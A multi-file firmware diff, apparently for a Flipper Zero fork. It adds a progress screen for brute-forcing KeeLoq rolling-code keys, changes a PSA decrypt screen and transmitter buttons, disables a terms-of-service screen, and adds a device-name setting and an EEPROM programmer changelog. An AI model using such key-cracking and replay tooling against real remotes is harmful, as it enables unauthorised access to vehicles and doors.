||||
bool done;
|
||||
bool success;
|
||||
uint32_t candidates;
|
||||
FuriString* result_str;
|
||||
char status_line[40];
|
||||
} SubGhzKeeloqDecryptModel;
|
||||
|
||||
static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
|
||||
if(count >= 1000000) {
|
||||
snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
|
||||
} else if(count >= 1000) {
|
||||
snprintf(buf, len, "%luK", count / 1000);
|
||||
} else {
|
||||
snprintf(buf, len, "%lu", count);
|
||||
}
|
||||
}
|
||||
|
||||
static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
|
||||
|
||||
canvas_clear(canvas);
|
||||
|
||||
if(!model->done) {
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
if(model->status_line[0]) {
|
||||
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
|
||||
} else {
|
||||
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
|
||||
}
|
||||
|
||||
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
|
||||
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
|
||||
if(fill > 0) {
|
||||
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
|
||||
}
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
|
||||
char keys_str[32];
|
||||
char tested_buf[12];
|
||||
subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
|
||||
snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
|
||||
canvas_draw_str(canvas, 2, 38, keys_str);
|
||||
|
||||
char speed_str[40];
|
||||
char speed_buf[12];
|
||||
subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
|
||||
uint32_t eta_m = model->eta_sec / 60;
|
||||
uint32_t eta_s = model->eta_sec % 60;
|
||||
if(eta_m > 0) {
|
||||
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lum %lus", speed_buf, eta_m, eta_s);
|
||||
} else {
|
||||
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lus", speed_buf, eta_s);
|
||||
}
|
||||
canvas_draw_str(canvas, 2, 48, speed_str);
|
||||
|
||||
if(model->candidates > 0) {
|
||||
char cand_str[32];
|
||||
snprintf(cand_str, sizeof(cand_str), "Candidates: %lu", model->candidates);
|
||||
canvas_draw_str(canvas, 2, 58, cand_str);
|
||||
} else {
|
||||
char elapsed_str[24];
|
||||
uint32_t el_m = model->elapsed_sec / 60;
|
||||
uint32_t el_s = model->elapsed_sec % 60;
|
||||
if(el_m > 0) {
|
||||
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
|
||||
} else {
|
||||
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
|
||||
}
|
||||
canvas_draw_str(canvas, 2, 58, elapsed_str);
|
||||
}
|
||||
|
||||
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
|
||||
} else {
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
if(model->result_str) {
|
||||
elements_multiline_text_aligned(
|
||||
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
|
||||
SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
|
||||
|
||||
if(event->key == InputKeyBack) {
|
||||
if(instance->callback) {
|
||||
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
|
||||
SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
|
||||
instance->view = view_alloc();
|
||||
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
|
||||
view_set_context(instance->view, instance);
|
||||
view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
|
||||
view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
|
||||
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->result_str = furi_string_alloc();
|
||||
model->progress = 0;
|
||||
model->keys_tested = 0;
|
||||
model->keys_per_sec = 0;
|
||||
model->elapsed_sec = 0;
|
||||
model->eta_sec = 0;
|
||||
model->done = false;
|
||||
model->success = false;
|
||||
model->candidates = 0;
|
||||
},
|
||||
false);
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{ furi_string_free(model->result_str); },
|
||||
false);
|
||||
view_free(instance->view);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
return instance->view;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_callback(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
SubGhzViewKeeloqDecryptCallback callback,
|
||||
void* context) {
|
||||
furi_check(instance);
|
||||
instance->callback = callback;
|
||||
instance->context = context;
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_stats(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
uint8_t progress,
|
||||
uint32_t keys_tested,
|
||||
uint32_t keys_per_sec,
|
||||
uint32_t elapsed_sec,
|
||||
uint32_t eta_sec) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->progress = progress;
|
||||
model->keys_tested = keys_tested;
|
||||
model->keys_per_sec = keys_per_sec;
|
||||
model->elapsed_sec = elapsed_sec;
|
||||
model->eta_sec = eta_sec;
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_result(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
bool success,
|
||||
const char* result) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->done = true;
|
||||
model->success = success;
|
||||
furi_string_set_str(model->result_str, result);
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
model->progress = 0;
|
||||
model->keys_tested = 0;
|
||||
model->keys_per_sec = 0;
|
||||
model->elapsed_sec = 0;
|
||||
model->eta_sec = 0;
|
||||
model->done = false;
|
||||
model->success = false;
|
||||
model->candidates = 0;
|
||||
furi_string_reset(model->result_str);
|
||||
model->status_line[0] = '\0';
|
||||
},
|
||||
false);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{
|
||||
if(status) {
|
||||
strlcpy(model->status_line, status, sizeof(model->status_line));
|
||||
} else {
|
||||
model->status_line[0] = '\0';
|
||||
}
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_candidates(
|
||||
SubGhzViewKeeloqDecrypt* instance, uint32_t count) {
|
||||
furi_check(instance);
|
||||
with_view_model(
|
||||
instance->view,
|
||||
SubGhzKeeloqDecryptModel * model,
|
||||
{ model->candidates = count; },
|
||||
true);
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/view.h>
|
||||
#include "../helpers/subghz_custom_event.h"
|
||||
|
||||
typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
|
||||
|
||||
typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
|
||||
|
||||
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
|
||||
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
|
||||
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_callback(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
SubGhzViewKeeloqDecryptCallback callback,
|
||||
void* context);
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_stats(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
uint8_t progress,
|
||||
uint32_t keys_tested,
|
||||
uint32_t keys_per_sec,
|
||||
uint32_t elapsed_sec,
|
||||
uint32_t eta_sec);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_result(
|
||||
SubGhzViewKeeloqDecrypt* instance,
|
||||
bool success,
|
||||
const char* result);
|
||||
|
||||
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
|
||||
|
||||
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);
|
||||
|
||||
void subghz_view_keeloq_decrypt_update_candidates(
|
||||
SubGhzViewKeeloqDecrypt* instance, uint32_t count);
|
||||
@@ -50,8 +50,10 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
// Progress bar outline + fill
|
||||
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
|
||||
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
|
||||
if(fill > 0) {
|
||||
if(fill > 2) {
|
||||
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
|
||||
} else if(fill > 0) {
|
||||
canvas_draw_box(canvas, 5, 17, fill, 8);
|
||||
}
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
@@ -90,19 +92,23 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
|
||||
// Cancel hint - bottom right
|
||||
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
|
||||
} else {
|
||||
// Result screen
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
if(model->result_str) {
|
||||
elements_multiline_text_aligned(
|
||||
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Decrypted!");
|
||||
|
||||
if(model->result_str) {
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
elements_multiline_text_aligned(canvas, 64, 20, AlignCenter, AlignTop,
|
||||
furi_string_get_cstr(model->result_str));
|
||||
}
|
||||
|
||||
elements_button_center(canvas, "Ok");
|
||||
}
|
||||
}
|
||||
|
||||
static bool subghz_view_psa_decrypt_input(InputEvent* event, void* context) {
|
||||
SubGhzViewPsaDecrypt* instance = (SubGhzViewPsaDecrypt*)context;
|
||||
|
||||
if(event->key == InputKeyBack) {
|
||||
if(event->key == InputKeyBack || event->key == InputKeyOk) {
|
||||
if(instance->callback) {
|
||||
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
|
||||
}
|
||||
|
||||
@@ -155,23 +155,68 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) {
|
||||
true);
|
||||
|
||||
if(can_be_sent) {
|
||||
if(event->key == InputKeyOk && event->type == InputTypePress) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
|
||||
with_view_model(
|
||||
subghz_transmitter->view,
|
||||
SubGhzViewTransmitterModel * model,
|
||||
{
|
||||
furi_string_reset(model->temp_button_id);
|
||||
model->draw_temp_button = false;
|
||||
},
|
||||
true);
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
|
||||
return true;
|
||||
} else if(event->key == InputKeyOk && event->type == InputTypeRelease) {
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
|
||||
return true;
|
||||
// Long press d-pad: set custom btn + long flag (no send here, send happens below)
|
||||
if(event->type == InputTypeLong) {
|
||||
if(event->key == InputKeyUp) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_UP);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyDown) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_DOWN);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyLeft) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_LEFT);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyRight) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_RIGHT);
|
||||
subghz_custom_btn_set_long(true);
|
||||
}
|
||||
}
|
||||
|
||||
// OK button handling
|
||||
if(event->key == InputKeyOk) {
|
||||
if(event->type == InputTypePress) {
|
||||
if(subghz_custom_btn_has_pages()) {
|
||||
// Multi-page protocol: cycle pages, do NOT send
|
||||
uint8_t max_pages = subghz_custom_btn_get_max_pages();
|
||||
uint8_t next_page = (subghz_custom_btn_get_page() + 1) % max_pages;
|
||||
subghz_custom_btn_set_page(next_page);
|
||||
// Reset d-pad selection to OK so display shows original btn
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
|
||||
with_view_model(
|
||||
subghz_transmitter->view,
|
||||
SubGhzViewTransmitterModel * model,
|
||||
{
|
||||
furi_string_reset(model->temp_button_id);
|
||||
furi_string_printf(model->temp_button_id, "P%u", next_page + 1);
|
||||
model->draw_temp_button = true;
|
||||
},
|
||||
true);
|
||||
// Refresh display with new page mapping
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterPageChange, subghz_transmitter->context);
|
||||
return true;
|
||||
}
|
||||
// Normal protocol: send original button
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
|
||||
with_view_model(
|
||||
subghz_transmitter->view,
|
||||
SubGhzViewTransmitterModel * model,
|
||||
{
|
||||
furi_string_reset(model->temp_button_id);
|
||||
model->draw_temp_button = false;
|
||||
},
|
||||
true);
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
|
||||
return true;
|
||||
} else if(event->type == InputTypeRelease) {
|
||||
// Only stop TX if we actually started it (not a page toggle)
|
||||
if(!subghz_custom_btn_has_pages()) {
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} // Finish "OK" key processing
|
||||
|
||||
if(subghz_custom_btn_is_allowed()) {
|
||||
|
||||
@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
|
||||
desktop->pin_input_view = desktop_view_pin_input_alloc();
|
||||
desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
|
||||
desktop->slideshow_view = desktop_view_slideshow_alloc();
|
||||
//desktop->tos_view = desktop_view_tos_alloc();
|
||||
|
||||
desktop->main_view_stack = view_stack_alloc();
|
||||
desktop->main_view = desktop_main_alloc();
|
||||
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
|
||||
desktop->view_dispatcher,
|
||||
DesktopViewIdSlideshow,
|
||||
desktop_view_slideshow_get_view(desktop->slideshow_view));
|
||||
//view_dispatcher_add_view(
|
||||
//desktop->view_dispatcher,
|
||||
//DesktopViewIdTos,
|
||||
//desktop_view_tos_get_view(desktop->tos_view));
|
||||
|
||||
// Lock icon
|
||||
desktop->lock_icon_viewport = view_port_alloc();
|
||||
@@ -511,7 +516,9 @@ int32_t desktop_srv(void* p) {
|
||||
|
||||
if(storage_file_exists(desktop->storage, SLIDESHOW_FS_PATH)) {
|
||||
scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
|
||||
}
|
||||
} //else {
|
||||
//scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
|
||||
//}
|
||||
|
||||
if(!furi_hal_version_do_i_belong_here()) {
|
||||
scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);
|
||||
|
||||
@@ -11,6 +11,8 @@
|
||||
#include "views/desktop_view_lock_menu.h"
|
||||
#include "views/desktop_view_debug.h"
|
||||
#include "views/desktop_view_slideshow.h"
|
||||
//#include "views/desktop_view_tos.h"
|
||||
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_stack.h>
|
||||
|
||||
@@ -30,6 +30,7 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
|
||||
switch(event.event) {
|
||||
case DesktopSlideshowCompleted:
|
||||
scene_manager_previous_scene(desktop->scene_manager);
|
||||
//scene_manager_search_and_switch_to_another_scene(desktop->scene_manager, DesktopSceneTos);
|
||||
consumed = true;
|
||||
break;
|
||||
case DesktopSlideshowPoweroff:
|
||||
|
||||
@@ -11,8 +11,6 @@
|
||||
|
||||
#define TAG "LoaderApplications"
|
||||
|
||||
#define JS_RUNNER_APP "JS Runner"
|
||||
|
||||
struct LoaderApplications {
|
||||
FuriThread* thread;
|
||||
void (*closed_cb)(void*);
|
||||
@@ -86,19 +84,13 @@ static bool loader_applications_item_callback(
|
||||
FuriString* item_name) {
|
||||
LoaderApplicationsApp* loader_applications_app = context;
|
||||
furi_assert(loader_applications_app);
|
||||
if(furi_string_end_with(path, ".fap")) {
|
||||
return flipper_application_load_name_and_icon(
|
||||
path, loader_applications_app->storage, icon_ptr, item_name);
|
||||
} else {
|
||||
path_extract_filename(path, item_name, false);
|
||||
memcpy(*icon_ptr, icon_get_frame_data(&I_js_script_10px, 0), FAP_MANIFEST_MAX_ICON_SIZE);
|
||||
return true;
|
||||
}
|
||||
return flipper_application_load_name_and_icon(
|
||||
path, loader_applications_app->storage, icon_ptr, item_name);
|
||||
}
|
||||
|
||||
static bool loader_applications_select_app(LoaderApplicationsApp* loader_applications_app) {
|
||||
const DialogsFileBrowserOptions browser_options = {
|
||||
.extension = ".fap|.js",
|
||||
.extension = ".fap",
|
||||
.skip_assets = true,
|
||||
.icon = &I_unknown_10px,
|
||||
.hide_ext = true,
|
||||
@@ -152,12 +144,7 @@ static int32_t loader_applications_thread(void* p) {
|
||||
view_holder_set_view(app->view_holder, loading_get_view(app->loading));
|
||||
|
||||
while(loader_applications_select_app(app)) {
|
||||
if(!furi_string_end_with(app->file_path, ".js")) {
|
||||
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
|
||||
} else {
|
||||
loader_applications_start_app(
|
||||
app, JS_RUNNER_APP, furi_string_get_cstr(app->file_path));
|
||||
}
|
||||
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
|
||||
}
|
||||
|
||||
// stop loading animation
|
||||
|
||||
@@ -3,7 +3,7 @@ App(
|
||||
name="System",
|
||||
apptype=FlipperAppType.SETTINGS,
|
||||
entry_point="system_settings_app",
|
||||
requires=["gui", "locale"],
|
||||
stack_size=1 * 1024,
|
||||
requires=["gui", "locale", "storage"],
|
||||
stack_size=2 * 1024,
|
||||
order=30,
|
||||
)
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
#include <loader/loader.h>
|
||||
#include <lib/toolbox/value_index.h>
|
||||
#include <locale/locale.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
#include <power/power_service/power.h>
|
||||
#include <applications/services/namechanger/namechanger.h>
|
||||
|
||||
const char* const log_level_text[] = {
|
||||
"Default",
|
||||
@@ -208,6 +211,81 @@ static void filename_scheme_changed(VariableItem* item) {
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Device Name --------------------------------------------------------
|
||||
|
||||
#define DEVICE_NAME_ITEM_INDEX 11
|
||||
|
||||
static bool system_settings_device_name_validator(
|
||||
const char* text,
|
||||
FuriString* error,
|
||||
void* context) {
|
||||
UNUSED(context);
|
||||
for(; *text; ++text) {
|
||||
const char c = *text;
|
||||
if((c < '0' || c > '9') && (c < 'A' || c > 'Z') && (c < 'a' || c > 'z')) {
|
||||
furi_string_printf(error, "Letters and\nnumbers only!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void system_settings_device_name_callback(void* context) {
|
||||
SystemSettings* app = context;
|
||||
|
||||
// Save name to SD card (same path as namechanger service)
|
||||
FlipperFormat* file = flipper_format_file_alloc(app->storage);
|
||||
bool saved = false;
|
||||
do {
|
||||
if(app->device_name[0] == '\0') {
|
||||
// Empty name -> remove file to restore real name
|
||||
storage_simply_remove(app->storage, NAMECHANGER_PATH);
|
||||
saved = true;
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_file_open_always(file, NAMECHANGER_PATH)) break;
|
||||
if(!flipper_format_write_header_cstr(file, NAMECHANGER_HEADER, NAMECHANGER_VERSION)) break;
|
||||
if(!flipper_format_write_string_cstr(file, "Name", app->device_name)) break;
|
||||
saved = true;
|
||||
} while(false);
|
||||
flipper_format_free(file);
|
||||
|
||||
if(saved) {
|
||||
// Reboot to apply
|
||||
Power* power = furi_record_open(RECORD_POWER);
|
||||
power_reboot(power, PowerBootModeNormal);
|
||||
} else {
|
||||
// Go back silently on failure
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
}
|
||||
}
|
||||
|
||||
static void system_settings_enter_callback(void* context, uint32_t index) {
|
||||
SystemSettings* app = context;
|
||||
if(index == DEVICE_NAME_ITEM_INDEX) {
|
||||
text_input_reset(app->text_input);
|
||||
text_input_set_header_text(app->text_input, "Device Name (empty=reset)");
|
||||
text_input_set_validator(
|
||||
app->text_input, system_settings_device_name_validator, NULL);
|
||||
text_input_set_minimum_length(app->text_input, 0);
|
||||
text_input_set_result_callback(
|
||||
app->text_input,
|
||||
system_settings_device_name_callback,
|
||||
app,
|
||||
app->device_name,
|
||||
FURI_HAL_VERSION_ARRAY_NAME_LENGTH,
|
||||
false);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewTextInput);
|
||||
}
|
||||
}
|
||||
|
||||
static uint32_t system_settings_text_input_back(void* context) {
|
||||
UNUSED(context);
|
||||
return SystemSettingsViewVarItemList;
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
static uint32_t system_settings_exit(void* context) {
|
||||
UNUSED(context);
|
||||
return VIEW_NONE;
|
||||
@@ -218,6 +296,7 @@ SystemSettings* system_settings_alloc(void) {
|
||||
|
||||
// Load settings
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
@@ -314,6 +393,19 @@ SystemSettings* system_settings_alloc(void) {
|
||||
variable_item_set_current_value_index(item, value_index);
|
||||
variable_item_set_current_value_text(item, filename_scheme[value_index]);
|
||||
|
||||
// Device Name (index = DEVICE_NAME_ITEM_INDEX = 11)
|
||||
const char* current_name = furi_hal_version_get_name_ptr();
|
||||
strlcpy(
|
||||
app->device_name,
|
||||
current_name ? current_name : "",
|
||||
FURI_HAL_VERSION_ARRAY_NAME_LENGTH);
|
||||
item = variable_item_list_add(app->var_item_list, "Device Name", 0, NULL, app);
|
||||
variable_item_set_current_value_text(
|
||||
item, app->device_name[0] != '\0' ? app->device_name : "<default>");
|
||||
|
||||
variable_item_list_set_enter_callback(
|
||||
app->var_item_list, system_settings_enter_callback, app);
|
||||
|
||||
view_set_previous_callback(
|
||||
variable_item_list_get_view(app->var_item_list), system_settings_exit);
|
||||
view_dispatcher_add_view(
|
||||
@@ -321,6 +413,15 @@ SystemSettings* system_settings_alloc(void) {
|
||||
SystemSettingsViewVarItemList,
|
||||
variable_item_list_get_view(app->var_item_list));
|
||||
|
||||
// TextInput for device name
|
||||
app->text_input = text_input_alloc();
|
||||
view_set_previous_callback(
|
||||
text_input_get_view(app->text_input), system_settings_text_input_back);
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
SystemSettingsViewTextInput,
|
||||
text_input_get_view(app->text_input));
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
|
||||
return app;
|
||||
@@ -328,12 +429,16 @@ SystemSettings* system_settings_alloc(void) {
|
||||
|
||||
void system_settings_free(SystemSettings* app) {
|
||||
furi_assert(app);
|
||||
// TextInput
|
||||
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewTextInput);
|
||||
text_input_free(app->text_input);
|
||||
// Variable item list
|
||||
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
// View dispatcher
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
// Records
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
furi_record_close(RECORD_GUI);
|
||||
free(app);
|
||||
}
|
||||
|
||||
@@ -2,17 +2,24 @@
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <furi_hal_version.h>
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <gui/modules/text_input.h>
|
||||
#include <storage/storage.h>
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
VariableItemList* var_item_list;
|
||||
TextInput* text_input;
|
||||
Storage* storage;
|
||||
char device_name[FURI_HAL_VERSION_ARRAY_NAME_LENGTH];
|
||||
} SystemSettings;
|
||||
|
||||
typedef enum {
|
||||
SystemSettingsViewVarItemList,
|
||||
SystemSettingsViewTextInput,
|
||||
} SystemSettingsView;
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to the 24cxxprog EEPROM Programmer application will be documented in this file.
|
||||
|
||||
## [2.0.0] - 2026-03-11
|
||||
|
||||
### 🚀 Major Features Added
|
||||
|
||||
#### Dynamic Memory Support for All 24Cxx Chips
|
||||
- **Full chip type support**: Added complete support for all EEPROM sizes from 24C01 (128B) to 24C512 (64KB)
|
||||
- **Dynamic buffer allocation**: Memory buffers now automatically resize based on selected chip type
|
||||
- **Configurable in Settings**: Users can now select chip type in Settings menu, and all operations adapt automatically
|
||||
|
||||
### ✨ Enhancements
|
||||
|
||||
#### Memory Management
|
||||
- Replaced fixed 256-byte buffers with dynamic allocation:
|
||||
- `memory_data` - dynamically allocated based on chip size
|
||||
- `file_data` - dynamically allocated based on chip size
|
||||
- `verify_buffer` - dynamically allocated based on chip size
|
||||
- Added `get_eeprom_size()` helper function returning size in bytes for each chip type
|
||||
- Added `reallocate_buffers()` function for automatic buffer reallocation on chip type change
|
||||
- Memory size tracked in `memory_size` field (32-bit for chips up to 64KB)
|
||||
|
||||
#### Read/Write/Erase Operations
|
||||
- **Read operation**: Now reads entire EEPROM regardless of size (128B to 64KB)
|
||||
- **Write operation**: Supports writing to full address range of selected chip
|
||||
- **Erase operation**: Clears entire memory of selected chip type
|
||||
- **File operations**: Binary dumps now save/load full chip capacity
|
||||
|
||||
#### User Interface Improvements
|
||||
- Address display format adapts to memory size:
|
||||
- Small chips (≤256B): `0x00` format
|
||||
- Large chips (>256B): `0000` hex format (4 digits)
|
||||
- Progress indicators updated for all memory sizes
|
||||
- Navigation (Up/Down) works across entire address range
|
||||
- File size display shows actual chip capacity
|
||||
|
||||
#### File Naming
|
||||
- Filename generation now includes all chip types:
|
||||
- Examples: `24C01_2026-03-11_10-30.bin`, `24C256_2026-03-11_10-30.bin`
|
||||
- Automatic timestamp-based naming for all chip variants
|
||||
|
||||
### 🔧 Technical Changes
|
||||
|
||||
#### Type Updates
|
||||
- Changed address/size types from `uint8_t` to `uint32_t` for large memory support:
|
||||
- `current_address`: now `uint32_t`
|
||||
- `read_total_bytes`: now `uint32_t`
|
||||
- `write_total_bytes_async`: now `uint32_t`
|
||||
- `verify_total_bytes`: now `uint32_t`
|
||||
- `erase_current_addr`: now `uint32_t`
|
||||
- `progress_value`: now `uint32_t`
|
||||
- `file_size`: now `uint32_t`
|
||||
|
||||
#### Format Specifiers
|
||||
- Updated all `printf`/`snprintf` calls to use correct format for `uint32_t`:
|
||||
- Changed `%d` to `%lu` for unsigned long
|
||||
- Changed `%X` to `%lX` for hex unsigned long
|
||||
|
||||
#### Memory Safety
|
||||
- Added proper memory initialization in `reallocate_buffers()`
|
||||
- Added null pointer checks for all dynamically allocated buffers
|
||||
- Proper cleanup in `eeprom_app_free()` - all buffers freed correctly
|
||||
|
||||
### 🐛 Bug Fixes
|
||||
- Fixed buffer overflow risk in memory operations for larger chips
|
||||
- Fixed format specifier warnings causing compilation errors
|
||||
- Fixed address boundary checking for chips larger than 256 bytes
|
||||
- Fixed progress bar calculations for larger memory sizes
|
||||
|
||||
### 🔄 Behavioral Changes
|
